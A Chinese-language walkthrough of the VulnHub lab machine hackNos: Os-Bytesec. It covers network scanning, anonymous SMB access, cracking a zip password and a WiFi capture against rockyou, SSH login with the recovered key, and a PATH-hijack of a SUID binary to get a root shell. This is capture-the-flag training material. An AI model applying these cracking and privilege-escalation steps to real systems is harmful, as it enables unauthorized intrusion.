OS Bytesec

作者:jason huawen

靶机信息

名称:hackNos: Os-Bytesec

地址:

https://www.vulnhub.com/entry/hacknos-os-bytesec,393/

识别目标主机IP地址

(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                                                                                                                           3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                             _____________________________________________________________________________   IP            At MAC Address     Count     Len  MAC Vendor / Hostname       ----------------------------------------------------------------------------- 192.168.56.1    0a:00:27:00:00:06      1      60  Unknown vendor                                                            192.168.56.100  08:00:27:60:36:cf      1      60  PCS Systemtechnik GmbH                                                    192.168.56.254  08:00:27:31:66:d4      1      60  PCS Systemtechnik GmbH                

利用Kali Linux的netdiscover工具识别目标主机IP地址为192.168.56.254

NMAP扫描

┌──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ sudo nmap -sS -sV -sC -p- 192.168.56.254 -oN nmap_full_scanStarting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 22:14 EDTNmap scan report for bogon (192.168.56.254)Host is up (0.00027s latency).Not shown: 65531 closed tcp ports (reset)PORT     STATE SERVICE     VERSION80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))|_http-server-header: Apache/2.4.18 (Ubuntu)|_http-title: Hacker_James139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)2525/tcp open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   2048 12554f1ee97eea8769901c1fb0633ff3 (RSA)|   256 a670f10edf4e737d7142d644f12f24d2 (ECDSA)|_  256 f0f8fd24650734c2d49a1fc0b82ed83a (ED25519)MAC Address: 08:00:27:31:66:D4 (Oracle VirtualBox virtual NIC)Service Info: Host: NITIN; OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:|_clock-skew: mean: -1h50m00s, deviation: 3h10m31s, median: 0s| smb2-time: |   date: 2023-03-26T02:14:37|_  start_date: N/A|_nbstat: NetBIOS name: NITIN, NetBIOS user: , NetBIOS MAC: 000000000000 (Xerox)| smb-security-mode: |   account_used: guest|   authentication_level: user|   challenge_response: supported|_  message_signing: disabled (dangerous, but default)| smb2-security-mode: |   311: |_    Message signing enabled but not required| smb-os-discovery: |   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)|   Computer name: nitin|   NetBIOS computer name: NITIN\x00|   Domain name: 168.1.7|   FQDN: nitin.168.1.7|_  System time: 2023-03-26T07:44:37+05:30Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 13.91 seconds                                                                     

获得Shell

首先从smb协议入手收集信息:

──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ smbclient -L 192.168.56.254                                Password for [WORKGROUP\kali]:        Sharename       Type      Comment        ---------       ----      -------        print$          Disk      Printer Drivers        IPC$            IPC       IPC Service (nitin server (Samba, Ubuntu))Reconnecting with SMB1 for workgroup listing.        Server               Comment        ---------            -------        Workgroup            Master        ---------            -------        WORKGROUP            NITIN
──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ enum4linux 192.168.56.254[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                                                                                                                                               S-1-22-1-1000 Unix User\sagar (Local User)                                                                                   S-1-22-1-1001 Unix User\blackjax (Local User)S-1-22-1-1002 Unix User\smb (Local User)

利用enum4linux工具识别出用户名为sagar, blackjax, smb

利用Kali linux的浏览器访问80端口,从返回页面的源代码有以下注释:

Copyright ©document.write(new Date().getFullYear()); All rights reserved | This template is made with James/Hacker by James

似乎没有意义。

──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ nikto -h http://192.168.56.254- Nikto v2.1.6---------------------------------------------------------------------------+ Target IP:          192.168.56.254+ Target Hostname:    192.168.56.254+ Target Port:        80+ Start Time:         2023-03-25 22:20:22 (GMT-4)---------------------------------------------------------------------------+ Server: Apache/2.4.18 (Ubuntu)+ The anti-clickjacking X-Frame-Options header is not present.+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type+ No CGI Directories found (use '-C all' to force check all possible dirs)+ Server may leak inodes via ETags, header found with file /, inode: c0e, size: 59686492a99fd, mtime: gzip+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + OSVDB-3268: /css/: Directory indexing found.+ OSVDB-3092: /css/: This might be interesting...+ OSVDB-3268: /html/: Directory indexing found.+ OSVDB-3092: /html/: This might be interesting...+ OSVDB-3268: /img/: Directory indexing found.+ OSVDB-3092: /img/: This might be interesting...+ OSVDB-3233: /icons/README: Apache default file found.+ 7915 requests: 0 error(s) and 13 item(s) reported on remote host+ End Time:           2023-03-25 22:20:34 (GMT-4) (12 seconds)---------------------------------------------------------------------------+ 1 host(s) tested
──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ gobuster dir -u http://192.168.56.254 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.js,.html,.txt,.sh===============================================================Gobuster v3.3by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url:                     http://192.168.56.254[+] Method:                  GET[+] Threads:                 10[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[+] Negative Status codes:   404[+] User Agent:              gobuster/3.3[+] Extensions:              sh,php,js,html,txt[+] Timeout:                 10s===============================================================2023/03/25 22:21:04 Starting gobuster in directory enumeration mode===============================================================/index.html           (Status: 200) [Size: 3086]/.html                (Status: 403) [Size: 279]/news                 (Status: 301) [Size: 315] [--> http://192.168.56.254/news/]/img                  (Status: 301) [Size: 314] [--> http://192.168.56.254/img/]/html                 (Status: 301) [Size: 315] [--> http://192.168.56.254/html/]/gallery              (Status: 301) [Size: 318] [--> http://192.168.56.254/gallery/]/css                  (Status: 301) [Size: 314] [--> http://192.168.56.254/css/]/js                   (Status: 301) [Size: 313] [--> http://192.168.56.254/js/]/.html                (Status: 403) [Size: 279]/server-status        (Status: 403) [Size: 279]Progress: 1323306 / 1323366 (100.00%)===============================================================2023/03/25 22:22:39 Finished===============================================================

目录扫描阶段一无所获,但是其实注意到网页中有句:####################GET#####smb##############free

而前面也知道有用户名smb,而且smb free,是不是意味着没有密码,注意smbclient -L并没有得到共享目录/smb,

┌──(kali㉿kali)-[~/Vulnhub/OS_Bytesec/_anatomy.png.extracted]└─$ smbclient //192.168.56.254/smb -U smb -pPassword for [WORKGROUP\smb]:Try "help" to get a list of possible commands.smb: \> ls  .                                   D        0  Mon Nov  4 06:50:37 2019  ..                                  D        0  Mon Nov  4 06:37:28 2019  main.txt                            N       10  Mon Nov  4 06:45:38 2019  safe.zip                            N  3424907  Mon Nov  4 06:50:37 2019                9204224 blocks of size 1024. 5824788 blocks availablesmb: \> get main.txt getting file \main.txt of size 10 as main.txt (4.9 KiloBytes/sec) (average 4.9 KiloBytes/sec)smb: \> get safe.zip getting file \safe.zip of size 3424907 as safe.zip (101352.3 KiloBytes/sec) (average 95561.3 KiloBytes/sec)smb: \> pwdCurrent directory is \\192.168.56.254\smb\
┌──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ unzip safe.zip  Archive:  safe.zip[safe.zip] secret.jpg password:                                                                                                                               ┌──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ zip2john safe.zip > hashes              ver 2.0 efh 5455 efh 7875 safe.zip/secret.jpg PKZIP Encr: TS_chk, cmplen=60550, decmplen=62471, crc=6D48091C ts=0BA2 cs=0ba2 type=8ver 2.0 efh 5455 efh 7875 safe.zip/user.cap PKZIP Encr: TS_chk, cmplen=3364011, decmplen=6920971, crc=717BA9D6 ts=6088 cs=6088 type=8NOTE: It is assumed that all files in each archive have the same password.If that is not the case, the hash may be uncrackable. To avoid this, useoption -o to pick a file at a time.                                                                                                                              ┌──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes   Using default input encoding: UTF-8Loaded 1 password hash (PKZIP [32/64])Will run 2 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statushacker1          (safe.zip)     1g 0:00:00:00 DONE (2023-03-25 23:01) 14.28g/s 468114p/s 468114c/s 468114C/s softball27..eatme1Use the "--show" option to display all of the cracked passwords reliablySession completed. 

解压后里面有个图片和抓包。图片检查后未发现有用信息。打开user.cap发现是一个wifi抓包,wifi名为blackjax

─(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ aircrack-ng -w /usr/share/wordlists/rockyou.txt user.cap

找到Key为:snowflake

会不会用户名是blackjax, 密码为snowflake

┌──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ ssh blackjax@192.168.56.254 -p 2525The authenticity of host '[192.168.56.254]:2525 ([192.168.56.254]:2525)' can't be established.ED25519 key fingerprint is SHA256:1l05HpfviqAHWEW02NNLxk4zhf2Ne1fS5QnCd7hTGQA.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '[192.168.56.254]:2525' (ED25519) to the list of known hosts.blackjax@192.168.56.254's password: Permission denied, please try again.blackjax@192.168.56.254's password: Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic i686) * Documentation:  https://help.ubuntu.com * Management:     https://landscape.canonical.com * Support:        https://ubuntu.com/advantage151 packages can be updated.100 updates are security updates.The programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law.The programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law.Last login: Mon Nov  4 15:37:42 2019 from 192.168.1.50$ iduid=1001(blackjax) gid=1001(blackjax) groups=1001(blackjax)$ 

提权

$ cat user.txt  _    _  _____ ______ _____        ______ _               _____  | |  | |/ ____|  ____|  __ \      |  ____| |        /\   / ____| | |  | | (___ | |__  | |__) |_____| |__  | |       /  \ | |  __  | |  | |\___ \|  __| |  _  /______|  __| | |      / /\ \| | |_ | | |__| |____) | |____| | \ \      | |    | |____ / ____ \ |__| |  \____/|_____/|______|_|  \_\     |_|    |______/_/    \_\_____|                                                                                                                                  Go To Root.MD5-HASH : f589a6959f3e04037eb2b3eb0ff726ac
blackjax@nitin:/tmp$ find / -perm -4000 -type f 2>/dev/null
blackjax@nitin:/tmp$ ls -alh /usr/bin/netscan-rwsr-xr-x 1 root root 7.3K Nov  4  2019 /usr/bin/netscan

netscan命令有SUID位

blackjax@nitin:/tmp$ /usr/bin/netscanActive Internet connections (servers and established)Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program nametcp        0      0 0.0.0.0:2525            0.0.0.0:*               LISTEN      1012/sshd       tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      890/smbd        tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      1015/mysqld     tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      890/smbd        tcp        0      0 192.168.56.254:139      192.168.56.206:50834    ESTABLISHED 1876/smbd       tcp        0    168 192.168.56.254:2525     192.168.56.206:57618    ESTABLISHED 5032/sshd: blackjaxtcp6       0      0 :::2525                 :::*                    LISTEN      1012/sshd       tcp6       0      0 :::445                  :::*                    LISTEN      890/smbd        tcp6       0      0 :::139                  :::*                    LISTEN      890/smbd        tcp6       0      0 :::80                   :::*                    LISTEN      1150/apache2    

netscan命令应该在执行netstat命令因此可以生成我们自己的netstat

blackjax@nitin:/tmp$ echo '/bin/sh' > netstatblackjax@nitin:/tmp$ chmod 777 netstat blackjax@nitin:/tmp$ export PATH=/tmp:$PATHblackjax@nitin:/tmp$ /usr/bin/netscan# cd /root# ls -alhtotal 36Kdrwx------  3 root root 4.0K Nov  4  2019 .drwxr-xr-x 22 root root 4.0K Nov  4  2019 ..-rw-------  1 root root 2.5K Nov  4  2019 .bash_history-rw-r--r--  1 root root 3.1K Oct 22  2015 .bashrcdrwxr-xr-x  2 root root 4.0K Nov  4  2019 .nano-rw-r--r--  1 root root  148 Aug 17  2015 .profile-rw-r--r--  1 root root  505 Nov  4  2019 root.txt-rw-------  1 root root 4.9K Nov  4  2019 .viminfo# cat root.txt    ____  ____  ____  ______   ________    ___   ______   / __ \/ __ \/ __ \/_  __/  / ____/ /   /   | / ____/  / /_/ / / / / / / / / /    / /_  / /   / /| |/ / __   / _, _/ /_/ / /_/ / / /    / __/ / /___/ ___ / /_/ /  /_/ |_|\____/\____/ /_/____/_/   /_____/_/  |_\____/                        /_____/                           Conguratulation..MD5-HASH : bae11ce4f67af91fa58576c1da2aad4bAuthor : Rahul GehlautContact : https://www.linkedin.com/in/rahulgehlaut/WebSite : jameshacker.me# 

STRIVE FOR PROGRESS,NOT FOR PERFECTION